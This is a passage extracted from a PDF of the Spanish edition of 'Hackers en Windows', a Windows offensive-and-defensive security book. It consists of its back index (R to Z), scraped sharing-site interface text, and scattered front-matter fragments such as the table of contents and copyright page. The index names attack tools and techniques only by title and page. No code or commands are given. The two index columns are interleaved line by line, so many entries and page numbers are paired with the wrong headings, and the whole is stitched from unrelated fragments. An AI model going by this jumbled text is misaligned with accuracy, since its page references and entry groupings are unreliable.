direcciones IP, 259 inalámbricas, 361-362, 364
puertos. Véase puertos, rastreo mejores prácticas de seguridad, 145
rastreos de SYN, 62 no confiable, 193
rastreos de UDP, 62 redes privadas virtuales, 291
referencias, 70-71 SQL Server en, 306-307, 414
revisión de resultados de rastreo, 74-76 utilería de red de servidor, 307
revisión general, 60 redes privadas virtuales (VPN), 291
tablas de NetBIOS, 81 redireccionamiento
rastreo de puertos, 61-67 ARP, 142
contramedidas, 67 de puertos, 196-198, 221
de origen, 61 inicios de sesión SMB, 143-144
descrito, 61 puerto, 196-198, 221
Firewall de Windows y, 65, 67, 284 redirector de SMB, 123
puertos seguros, 61 refactorización del servicio, 385-386
rastreos de puerto TCP, 61-67 referencias
rastreos de puerto UDP, 62-67 aplicaciones de cliente, 340-343
SQL Server, 283-284 ataques físicos, 364-366
RBAC (control de acceso basado en función), 11 características/herramientas de seguridad
Rbot, 231 de Windows, 401-404
RDP (protocolo de escritorio remoto), 194-195 control del sistema, 221-224
recopilación (recolección) de información, 54-59 enumeración, 113-114
acceso remoto y, 54 hackeo de servicios de Windows, 162-164

índice 443
rastreo, 70-71 RestrictAnonymous, configuración, 91-99

recopilación de información, 70-71 RFC 2196, 6-7
software para pasar inadvertido, 269-271 RFC 2504, 6-7
SQL Server, 316 RID (identificadores relativos), 20, 91-92
vulnerabilidades, 184 Véase también SID
regedit.exe, 267 riesgo, 4-5
registradores RIPE (Réseaux IP Européens), 56
de Internet, 55, 57 RKUnhooker, herramienta, 253
de teclado, 290-291 rmtshare, herramienta, 86
de tecleos, 290-291 ROBOCOPY, herramienta, 408
Registrador de Internet, datos, 55 root, cuenta, 122
Registro Rootkit Revealer, 233, 253, 254
clave de Registro NoDefault Exempt, Rootkit Unhooker, herramienta, 234
411-412 rootkits. Véase también bootkits
detección de vista cruzada, 254 antirootkit.com, 253
entrada BootExecute, 258-259 basado en controlador, 234, 252, 256-258
opciones de ejecución de archivos de basado en NT, 228
imagen, 167-169 basados en hipervisor, 262
problemas de almacenamiento de basados en Windows, 227-229, 236
contraseñas y, 24 BlackLight, 233
secretos de LSA, 24 Blue Pill, 233
volcado de contraseñas desde, 208-210 Bootroot, 232, 250, 371
registro de C2, característica, 280 cambio del entorno de la amenaza, 229-235
Registro de seguridad, 131 de modo de kernel, 228, 231-232, 234, 247
Registro de sucesos de seguridad, 46-47 de Windows, 227-229, 236
registro maestro de arranque (MBR), 232 definidos, 226
registros. Véase también registro del modo de usuario, 230, 247, 254
archivo ntbtlog.txt, 234, 257-258 Delprot, 231-232
arranque, 234, 256-258 detección con base en vista cruzada, 254
auditoría, 411 detección de espacio de nombres del Admi-
autentificación, 279-280, 310-311, 414 nistrador de objetos, 260
C2, 280 dispositivos ocultos en el Administrador de
de aplicaciones, 46-47 dispositivos, 258
de arranque, 234, 256-258 DKOM, 240-244
de sucesos, 46-47, 132, 260-261 elementos ocultos con, 227. 247
de tecleos, 199-200, 290-291 en comparación con software antivirus, 247
del sistema, 46-47 en comparación con Windows Vista, 248-252
integridad de, 411 entrada de Registro BootExecute, 258-259
Registro del sistema, 46-47 FU, 231
SQL Server, 279-280, 310-311, 414 funcionamiento interno de Windows,
sucesos, 46-47, 132, 260-261 235-240
tecleos, 199-200, 290-291 FUTo, 243, 245, 249-250
relación de confianza, 12, 43, 44 futuro de, 262
remitentes de correo masivo basura, 233 GMER, 233, 253
réplica, 41 Hacker Defender, 230, 240, 247, 253, 259-260
Réseaux IP Européens (RIPE), 56 herramienta Rootkit Unhooker, 234
responsabilidad, 3-4, 10 herramientas/técnicas de detección, 252-261
respuesta de incidente (RI), 9 HITB (Hack in the Box), 234

modo de kernel, 228, 231-232, 234, 247 Samba smbclient, 219

modo de usuario, 230, 247, 254 Sarbanes-Oxley, acta de 2002, 6
necesidad de, 262-268 sc.exe, utilería, 379-380, 382-384
revisión general, 226-227 ScanLine, herramienta, 64
Rustock, 233, 247, 256-258 Schneier, Bruce, 10
Shadow Walker, 232, 244-247 Schultze, Eric, 130
Sony BMG First4Internet Rootkit, 247 SCM (administrador de control de servicios), 23,
técnicas, 235-247 260-261, 380-382
UNIX, 226-227 ScoopLM, herramienta, 143
Unreal, 234 SeChangeNotifyPrivilege, 380
volcado de la memoria del proceso, 254-255 SeCreateGlobalPrivilege, 380
rootkit.com, 228 secretos de LSA, 24, 121, 202-203, 409
RPC (llamada a procedimiento remoto), 82-84. secuencia de arranque, 372
Véase también Microsoft RPC secuencias de comandos de reducción de
RPC Endpoint Mapper, 75, 82-84, 156 exposición, 312-313
RPC sobre HTTP, 84 secuencias de comandos de sitio cruzado (XSS),
RPC, proceso, 156-158 321-322
rpcdump, herramienta, 83 secuestro, servicios, 265-266
RPC-EPMAP, 84 Security.config, archivo, 49
RPCTools, 94 SeDebug Privilege, privilegio, 204
RRAS (servicio de enrutamiento y acceso remoto), seguridad. Véase también arquitectura de seguridad
111 de Windows
RSVP (protocolo de configuración de reservación activos, 3-4
de recursos), tráfico, 67 capas de, 12
Rudnyi, Evgenii, 21, 91 características/herramientas, 367-404
Russinovich, Mark, 233, 253 compartimentalización, 12
Rustock, rootkit, 233, 247, 256-258 contraseñas. Véase contraseñas
Rutkowska, Joanna, 36, 233, 251, 252 control de acceso. Véase control de acceso
control de integridad, 372-374
controles preventivos, 8
▼ S desarrollo de aplicaciones y, 8
detección de violaciones, 8-9
S/MIME, claves, 48 directivas, 5-8
sa, cuenta. Véase administrador del sistema (sa), educación/capacitación, 8
cuenta elementos cíclicos, 2-10
Sabin, Todd, 83, 94, 208, 353 física, 345-366
SACL (lista de control de acceso del sistema), 46, hisecws, plantilla, 409-411
373-374 marco conceptual, 2-10
SafeSEH, 392-397 método basado en riesgo, 3
saludo de tres vías, 61-62 operacional, 2-10
SAM (administrador de cuentas de seguridad) operaciones generales, 8
Active Directory y, 39-41 operaciones seguras contra fallas, 12
ataques contra, 348-349 planeación, 3-4
contraseñas, 37, 208-210, 348-349 principios, 19-31
cuentas clonadas de administrador, 266 principios básicos, 10-13
Sam Spade, herramienta, 55-56 referencias, 14
SAM, archivos, 348-349 responsabilidad, 10
SAM, base de datos, 94 respuestas, 9

índice 445
simple comparada con sistemas complejos, problemas de seguridad relacionados, 24-25

12-13 refactorización, 385-386
SEH (manejador estructurado de excepciones), referencias, 162-164
180, 392-397 secuestro, 265-266
SEH, sobreescrituras, 393-397 sufijos de NetBIOS asociados con, 78-80
SEM (administración de sucesos de seguridad), servidor de información de Internet. Véase IIS
132 servidores. Véase también Windows Server
Server Network, utilería, 307 DNS, 55, 101-103, 412
servicio, cuentas, 23-25 fraudulentos, 144
importancia, 121 FTP, 230
privilegios, 24-25, 380-384 funciones, 279
problemas de seguridad relacionados, 24 protección física de, 310
servicio de acceso remoto. Véase RAS RAS, 413
servicio de actualización de software (SUS), 409 servidor de información de Internet. Véase
servicio de catálogo global, 75 IIS
servicio de enrutamiento y acceso remoto (RRAS), servidor Web Apache, 413
111 SMB, 322
servicio de nombres NetBIOS (NBNS), 75, 76, SQL, 111
77-82 SQL Server. Véase SQL Server
Servicio de red, grupo, 24 Terminal Server, 135-137, 416-417
servicio de sesión de NetBIOS (SMB sobre Web, 295, 310, 413-414
NetBIOS), 75 WSUS, 307
Servicio local, grupo, 24 sesión de inicio de sesión interactiva, 190
Servicio, grupo, 29 SHA-1, hashes, 251
servicios de actualización de Windows (WSUS), Shadow Walker, rootkit, 232, 244-247
307-308 Shatter, ataques, 340, 386-387
servicios de Internet COM (CIS), 156-158 shell segura (SSH), 201
servicios de soporte de producto (PSS), 229-230 SID (identificadores de seguridad). Véase también
servicios de soporte de producto (PSS) de RID
Microsoft, 229-230 cuenta de administrador y, 20-21, 132
servicios específicos de Windows. Véase servicios específico del servicio, 19, 23-25, 378-379
servicios. Véase también Terminal Services fichas y, 32-36, 375
acceso restringido a red, 386 restringidos, 378-379
adivinación de contraseñas, 117-137 revisión general, 20
aislamiento de la sesión 0, 386-387 vista con user2sid/sid2user, 21-22, 91-92
aislamiento de recursos, 377-379 vista con UserDump, 94
bloqueo, 75-76, 128 SID, técnica de recorrido, 94-95
como objetivo de ataques de enumeración, sid2user, herramienta, 21, 91-92
74, 75 SIEM (administración de sucesos de seguridad
consideraciones, 161-162 e información), 132
cuentas de dominio y, 409 sigilo
definidos, 156 modo de kernel, 252
deshabilitación de los innecesarios, 75-76, modo de usuario, 252
128 Single-SignOn, funcionalidad, 220
endurecimiento, 377-387 Sintaxis incorrecta cerca de”, error, 297
explotación, 156-161 Sir Dystic, 148
mínimos requeridos, 409-411 sistema de cifrado de archivos (EFS), 349-354
privilegios, 24-25, 380-384 agentes de recuperación y, 352-353

caché de inicio de sesión en dominio, winhackinexposed.com, 421-422

353-354 Slammer, gusano, 274
controladores de dominio y, 352-354 SMB (bloque de mensajes de servidor)
herramienta efsinfo, 351 ataques de diccionario, 125-127
recuperación de datos de archivos ataques de intermediario, 153-155
temporales, 355-358 cierre de sesiones, 117-118
SQL Server y, 311 correo electrónico/página Web maliciosos,
SYSKEY y, 351 322, 332
sistema de clasificación de vulnerabilidades deshabilitación, 96-98
comunes (CVSS), 5 enumeración, 84-101
sistema de colección de auditoría de Microsoft redireccionamiento, 148-152
(MACS), 47 restricción de acceso, 96, 98-101
sistema de nombres de dominio. Véase DNS SMB Packet Capture, utilería, 140-144
sistemas. Véase también sistemas operativos; SMB sobre NetBIOS (servicio de sesión NetBIOS),
sistemas operativos específicos 75
apagados, 31 SMB sobre TCP (Direct Host), 75
bloqueo de acceso a, 10 smbclient, 219
control de. Véase control del sistema SMBGrind, herramienta, 126-127
frontales, 12 SMBProxying, 155
inicio, 250-251 SMBRelay, herramienta, 148-152
sistemas operativos. Véanse también sistemas; SMBRelay, servidor, 149
sistemas operativos específicos Smith, Richard M., 322
ataques lógicos contra, 18 Sniffer Pro, herramienta, 201
consideraciones sobre preinstalaciones, Sniffer, herramienta, 137
406-407 SNMP (protocolo simple de administración de
correcciones, 307, 408-409 red)
detección mediante huellas de pila de TCP/ directrices de seguridad, 413
IP, 69 enumeración, 103-107
funciones de, 406 rastreo de UDP y, 62
host, 262 SNMP, exploradores, 104-105
identificación remota, 69 SNMP, servicios, 75, 105, 413
invitado, 262 SNMP Trap, servicio, 105
pantallas azules, 230-232 snmputil, 103-104
paquetes de servicio, 307, 408-409 Snort, herramienta, 201
SiteLock, herramienta, 324 sobreflujos de búfer
Sitios de confianza, 337 basados en pila, 388-391
Sitios restringidos, zona, 338-339 controles ActiveX, 322-323
sitios Web. Véase también Internet cookies de GS, 388-391
ataques de suplantación de identidad, de montón, 167-169
233-235, 328-332 de pila, 388-391
cookies. Véase también cookies gusanos y, 387
desfiguramiento, 274 Microsoft RPC, 156-158
evitar que los encuentren los motores de revisión general, 387-388
búsqueda, 59 Soeder, Derek, 359-360
fraudulento, 329-332 software para pasar inadvertido
instantáneas de contenido, 59 antivirus y, 247
que acompaña al libro, 421-422 cambio del entorno de la amenaza, 229-235
sitios de confianza, 337 información general, 226-227, 268-269

índice 447
referencia, 269-271 estrategias defensivas, 306-309, 414-416

rootkits. Véase rootkits estudio de caso, 274-277
técnicas, 235-247, 252-261 Firewall de Windows y, 284, 307
Windows Vista, 248-252 funciones, 279
SolarWinds, herramientas, 104-105 hackeo, 274-277, 281-306
Sólo invitado, opción, 38-39 herramientas para hackeo, 286-306
Sólo Windows, modo de autentificación, 309 identidad Todos, 413
Song, Dug, 201 IIS y, 281-282, 288
Sony BMG First4Internet, rootkit, 247 información general, 274, 315
soporte inicio de sesión de autentificación, 279-280,
a SSL, 292-293 310-311, 414
a virtualización, 233 inicios de sesión, 278-279
Sotirov, Alexander, 172, 319 laptops y, 275
sp_executeSQL, instrucción, 304 mejores prácticas, 309-315
sp_executesql, instrucción, 314-315 menor cantidad de privilegios, 311-312, 415
spambots, 233 mensajes de error, 301-302
Sparks, Sherri, 228-229, 232 modos de seguridad, 278, 414
SpyBot Search & Destroy, herramienta, 334 olfateo de paquetes, 292-296
spyware, 328, 332-334 paquetes de servicio, 307, 414
SQL, comandos parches, 307-308
ataques de inyección, 296-306, 313-314 penetración de, 274-277
errores en, 296-306 procedimientos almacenados, 303-306, 415
SQL, modo de autentificación, 275, 278 protección física de, 310
SQL Browser Service, 284, 285 rastreo de puertos, 283-284
SQL Profiler, 313-314, 415 recopilación de información, 282-286
SQL Resolution Service, 284 referencias, 316
SQL Server, 273-316 registro de errores, 279-280
acceso de red, 306-307, 414 registro, 279-280, 310-311
alertas, 314, 416 robo de credenciales, 303-304
ataques de fuerza bruta, 289 servidores Web conectados a, 310
ataques de inyección de SQL, 296-306, 313- TCP/IP y, 277-278
314 usuarios, 278-279
autentificación, 308 SQL Server 2005, parches, 307-308
base de datos relacional, 274 SQL Server Express Edition (SSEE), 274, 287, 288
bibliotecas de red (netlibs), 277-278 SQL Server Management Studio, 287
bloqueo de acceso a puertos, 307 SQL Slammer, gusano, 274
características cambiadas/nuevas, 280-281 sqlbf, herramienta, 287
cifrado, 281, 294-295, 311, 414 SQLPing, herramienta, 284-285
clientes, 310 SQLPing3, herramienta, 275, 288-289
conceptos de seguridad, 277-281, 414-416 sqlpoke, herramienta, 290
conexiones, 278 SQLRecon, herramienta, 285-286
contraseñas, 278-279, 288-296, 308-309 .src, extensión, 295
contraseña de administrador, 308-309 srvcheck, herramienta, 86
cookies y, 275-276 srvinfo, herramienta, 86, 409
correcciones, 307 SSDT (tabla de descriptores de servicios del
determinación de estructura de SQL, 298 sistema), 236
develación de origen de, 295 SSEE (SQL Server Express Edition), 274, 287, 288
ediciones gratuitas de, 274 SSH (shell segura), 201

SSL (capa de conexiones seguras), 201, 291

puerto 53, 75
Stewart, Joe, 233
puerto 80, 61, 65
Store, gusano, 263
puerto 135, 75, 82, 84
StringTokenFuzzer, generador, 171-172
puerto 139, 65, 75, 85, 97
subautoridad, valores, 20
puerto 161, 106
subprocesos, 19
puerto 389, 75, 108, 109
sucesos
puerto 445, 65, 75, 85, 97
auditoría, 411
puerto 593, 84
falla de inicio de sesión, 131-132
puerto 1433, 283, 307
inicio de sesión, 136
puerto 3268, 75, 108, 109
sujetos, 19
puerto 3389, 75
SuperScan, herramienta, 62-63
TCP, servicios, 65-66
suplantación de identidad
TCP/IP
ataques, 233, 235, 328-332
ataques de DoS y, 417
dirigida, 235
huellas y, 69
suplantación de personalidad, 33
pilas, 69
Support_388945a0, cuenta, 22, 23
SQL Server y, 277-278
SUS (servicio de actualización de software), 409
TDS (flujo de datos tabulares), protocolo, 188
svchosts (hosts de servicio), 385-386
telnet, obtención de anuncios, 68
SVV (System Virginity Verifier), 252-253, 254
Terminal Server (TS)
SweetScape 010 Editor, 177
adivinación de contraseñas, 135-137
Sybase SQL Server. Véase SQL Server
consideraciones de seguridad, 416-417
symbiator, cuentas de usuario, 122
Terminal Services
SYN, paquetes, 62
adivinación de contraseñas, 135-137
SYN, rastreo, 62
ataques de enumeración, 75
SYN/ACK, paquetes, 62
cliente avanzado de Terminal Services,
SYSKEY (clave del sistema)
135-136
archivos SAM y, 348-349, 352
control GUI, 194-195
ataque a EFS y, 351
derechos de usuario y, 30
revisión general, 39-41
descritos, 135
System Virginity Verifier (SVV), 252-253, 254
Internet Connector Licensing, 23
SYSTEM, cuenta, 22, 23, 230
negación de acceso, 31
SYSTEM, shell, 347
texto simple, contraseñas, 118
sysusers, tabla, 279
TGT (boleto que otorga boleto), 138
sysxlogins, tabla, 278
TIF (archivos temporales de Internet), 339
TIF Echo Request, paquete, 67
tipos de nombre de NetBIOS, 80
tivoli, cuentas de usuario, 122
▼ T TLB (búferes de búsqueda de traducción), 244-247
Tabla de direcciones de importación (IAT), 237, TLV (valor de longitud de tipo), formato, 178, 179
239, 240 Todos, grupo, 29, 109-110
tabla de descriptores de servicios del sistema Todos, identidad, 412-413
(SSDT), 236 Toolcrypt.org, 153, 154
tablas de nombres de NetBIOS, 78-82 TPM (módulo de plataforma confiable), 370-372
tarjeta de crédito, datos, 3, 4 TPM 1.2, procesador, 251
tarjetas inteligentes, 134 TPMKit, 360
TCP, puertos traducción de dirección, 245
puerto 25, 61 trampolín, inserción, 238

índice 449
transferencias de zona herramientas, 199

deshabilitación, 102-103, 412 plataforma, 191
DNS, 101-103 rootkits, 226-277
Windows 2000, 101-103 Unreal, rootkit, 234
transformadores, 170-172 UPX (Ultimate Packer for eXecutables), 188
trituración URLScan, herramienta, 68
de contraseñas, 127, 135-137 USB, unidad, 360-361
de SMB, 126-127 user2sid, herramienta, 21, 91-92
trucos, 327-334 user32.dll.dg.db, 173-181
TrustedInstaller, 400-401 UserDump, herramienta, 92, 94, 130
TS. Véase Terminal Services UserInfo, herramienta, 92
TSAC (cliente avanzado de Terminal Services), uso de credenciales de aplicación, 205-210
135-136 Usuarios autenticados, grupo, 29
TSGrinder, herramienta, 135-136 usuarios. Véase también cuentas de usuario
TSInternetUser, cuenta, 23 adivinación de contraseñas, 117-137
T-SQL, código credenciales, 3, 281
asignación de personalidad, 281 dominio, 42
establecimiento de la contraseña de la en comparación con cuentas de usuario, 22
cuenta sa, 308-309 enumeración, 86, 92, 109
establecimiento del modo de autentificación escalada de privilegios, 375-377
de SQL, 308 INTERACTIVE, 28, 29
mejores prácticas SQL, 303-304, 415
protección de procedimientos almacenados, SQL Server, 278-279
312-313, 315
vista de página de propiedades de servidor,
308 ▼ V
validación
▼ U del lado del cliente, 312
entrada, 312, 415
UDP (protocolo de datagrama de usuario), 62 SQL Server, 415
UDP, puertos VBootkit, 250, 251, 360
puerto 135, 84 Venom, herramienta, 127-128
puerto 137, 75, 77 VICE, herramienta, 252
puerto 161, 75, 103, 106 Vidstrom, Arne, 138, 200
puerto 389, 75 violación de seguridad, leyes de notificación, 6
puerto 1434, 284-285, 307 Virtual PC, 262
puerto 3268, 75 Vision, herramienta, 198
rastreo, 62-67 Vista. Véase Windows Vista, sistemas
UDP, servicios, 65-66 Vitriol, rootkit, 262
Ultimate Packer for eXecutables (UPX), 188 VM (máquina virtual), 262
umbrales de bloqueo, 119, 120, 130-131 VMK (clave maestra de volumen), 234
UNC (convención universal de asignación de VMWare, 262
nombres), 303-304 volcado
UnHackMe, software, 259 contraseñas del Registro, 208-210
Unicode, puntos de código, 264-265 contraseñas en Internet Explorer, 206
unidades organizacionales (OU), 100 herramienta DumpACL, 87-88
universal, grupos, 43 herramienta DumpSec, 87-88
UNIX herramienta epdump, 83

herramienta lsadump2, 121, 203 Windows 2003, sistemas

herramienta pwdump2, 209 cuentas integradas, 22-23
herramienta rpcdump, 83 grupos predefinidos, 25, 27
herramienta UserDump, 91, 94, 130 Windows 9x, sistemas, 65
LSA, 202-204 Windows Defender, 334
memoria, 254-255 Windows Forms, 49
recursos compartidos en sesiones nulas, Windows NT, sistemas
87-88 autentificación desafío/respuesta, 37-38
tablas de nombres NetBIOS, 78-80 caché de inicio de sesión de dominio,
VPN (redes privadas virtuales), 291 353-354
vulnerabilidades, 165-184 hashes de contraseña, 37-38, 214-218
aplicaciones de rastreo para, 310 hashes de NT, 37-38, 214-218
ataques de inyección de SQL, 296-306, rootkits de NT, 228
313-314 servicios TCP/UDP, 65
búsqueda, 166-183 SYSKEY (clave del sistema), 39-41
cálculo, 4-5 Windows Server. Véase también servidores
develación de código fuente, 295 explotación de servicio, 160-161
información general, 166, 184 rastreo de puertos y, 65
inyección de error, 169-172 reemplazo de protector de pantalla, 347
referencias, 184 sesiones nulas y, 85
Windows Server 2003
cuentas integradas, 23
▼ W derechos de usuario, 30
herramientas de soporte, 81
Walksam, herramienta, 94
.NET Framework, 48-49
Wayback Machine, sitio, 59
sesiones nulas y, 86
Web Vulnerability Scanner, 298
Windows Server 2008, 30
Web.config, archivo, 49
Windows Update (WU), 307-308
WebScarab, herramienta, 298
WFP (protección de archivos de Windows), 399 Windows Vista, sistemas
Whitehouse, Ollie, 389 característica de endurecimiento de servicio,
whois, herramienta, 55-57 24-25
WinDBG, depurador, 169, 254-255 característica de inicio seguro, 250-251
Windows, plataforma. Véase también sistemas ope- en comparación con rootkits, 248-252
rativos explotaciones ANI, 181-183
características/herramientas de seguridad, mejoras de la seguridad, 251
367-404 Windows XP, sistema
control de integridad, 372-374 configuración de acceso anónimo, 100
correcciones, 307, 408-409 cuentas integradas, 23
entorno de amenaza para, 229-235 sesiones nulas y, 86
identidades especiales, 28, 29 Winfingerprint, herramienta, 111-112
listas de verificación de seguridad, 405-420 winhackingexposed.com, 421-422
métodos de arranque, 346-347 WinPcap, controlador de captura de paquetes,
paquetes de servicio, 307 142-143
Windows 2000 y sistemas posteriores WinPE (entorno previo a la instalación de
endurecimiento, 407-413 Windows), 346
servicios mínimos requeridos en, 409-411 WinVNC, 198
transferencias de zona, 101-103 Wireshark, herramienta, 201

índice 451
WMI (instrumentación de administración de

XSS (secuencias de comandos de sitio cruzado),
Windows), 127-128, 195
321-322
WNetAddConnection2 API, 123
XSS, ataques, 321-322
WSUS (servicios de actualización de Windows),
307-308
WSUS, servidor, 307
WSUSCAN.cab, 172-173 ▼ Z
Zalewski, Michal, 325, 326, 329
zona de equipo local (LMZ), ataques, 326-327, 335
▼ X zonas
Internet, 336-337
XO, esquemas, 293-294, 390-391
seguridad, 335-339
xp_cmdshell, comando, 275-276
Sitios restringidos, 338-339
xp_dirtree, procedimiento, 303-304


Hakers en Windows PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Hakers en Windows PDF

Cargado por

Copyright:

Formatos disponibles

00_Scambray_preliminareS.

indd 2 7/29/08 7:39:14 pm

00_Scambray_preliminareS.indd 1 7/29/08 7:39:14 pm

méxico • bogotá • buenoS aireS • caracaS • guatemala • liSboa

00_Scambray_preliminareS.indd 3 7/29/08 7:39:15 pm

Hackers en Windows. Secretos y soluciones de seguridad en Windows

Prohibida la reproducción total o parcial de esta obra,

DERECHOS RESERVADOS © 2009 respecto a la primera edición en español por

ISBN 13: 978-970-10-6755-0

Translated from the 3th English edition of

Impreso en México Printed in Mexico

00_Scambray_preliminareS.indd 4 7/29/08 7:39:16 pm

00_Scambray_preliminareS.indd 5 7/29/08 7:39:16 pm

AcercA de los colABorAdores

00_Scambray_preliminareS.indd 6 7/29/08 7:39:17 pm

AcercA de los reVIsores tÉcNIcos

00_Scambray_preliminareS.indd 7 7/29/08 7:39:17 pm

00_Scambray_preliminareS.indd 9 7/29/08 7:39:17 pm

▼ 1 Fundamentos de seguridad relacionada con información ...................................................... 1

▼ 2 La arquitectura de seguridad de Windows desde la perspectiva del hacker ............................... 15

00_Scambray_preliminareS.indd 11 7/29/08 7:39:18 pm

▼ 3 Recolección de información y rastreo ............................................................................ 53

▼ 5 Hackeo de servicios específicos de Windows ................................................................. 115

▼ 6 Descubrimiento y explotación de vulnerabilidades de Windows ........................................... 165

00_Scambray_preliminareS.indd 12 7/29/08 7:39:18 pm

▼ 7 Saqueo después de la explotación .............................................................................. 185

▼ 8 Cómo pasar inadvertido y mantener presencia ................................................................ 225

▼ 9 Hackeo de sql server ............................................................................................... 273

00_Scambray_preliminareS.indd 13 7/29/08 7:39:19 pm

Hackeo de SQL server ......................................................................................................................... 281

▼ 10 Hackeo de aplicaciones cliente de microsoft ................................................................. 317

▼ 11 Ataques físicos ..................................................................................................... 345

▼ 12 Características y herramientas de seguridad de Windows .................................................. 367

00_Scambray_preliminareS.indd 14 7/29/08 7:39:19 pm

Explotaciones de sobreescritura de SEH................................................................................ 393

▼ A Lista de verificación de la seguridad de Windows ............................................................ 405

▼ B Acerca del sitio web del libro en inglés ........................................................................ 421

Índice ....................................................................................................................................................... 423

00_Scambray_preliminareS.indd 15 7/29/08 7:39:19 pm

00_Scambray_preliminareS.indd 17 7/29/08 7:39:20 pm

00_Scambray_preliminareS.indd 18 7/29/08 7:39:20 pm

00_Scambray_preliminareS.indd 19 7/29/08 7:39:20 pm

la brecha de seguridad de Windows

00_Scambray_preliminareS.indd 21 7/29/08 7:39:21 pm

firmemente incluido en la Charola del sistema/Área de notificación de cada instalación moder-

Hackers en Windows: su guía para el resto del camino

Adopte y extienda el método de la serie

00_Scambray_preliminareS.indd 22 7/29/08 7:39:21 pm

En este libro, no encontrará aspecto alguno de la seguridad de Windows tratado superficial-

cÓMo estÁ orGANIZAdo este lIBro

capítulos: la metodología de la serie

• Revisión de la arquitectura de seguridad de Windows

Modularidad, organización y accesibilidad

00_Scambray_preliminareS.indd 23 7/29/08 7:39:21 pm

resúmenes y referencias y lecturas adicionales de capítulo

Apéndice A: la lista de verificación para el endurecimiento de Windows

los BloQues de coNstruccIÓN BÁsIcos:

Éste es un icono de ataque

00_Scambray_preliminareS.indd 24 7/29/08 7:39:22 pm

Popularidad: La frecuencia de uso en su estado natural contra objetivos

Las contramedidas, a su vez, reciben sus propios adornos visuales:

Éste es un icono de contramedida

donde #### representa el BID (por ejemplo, 1578).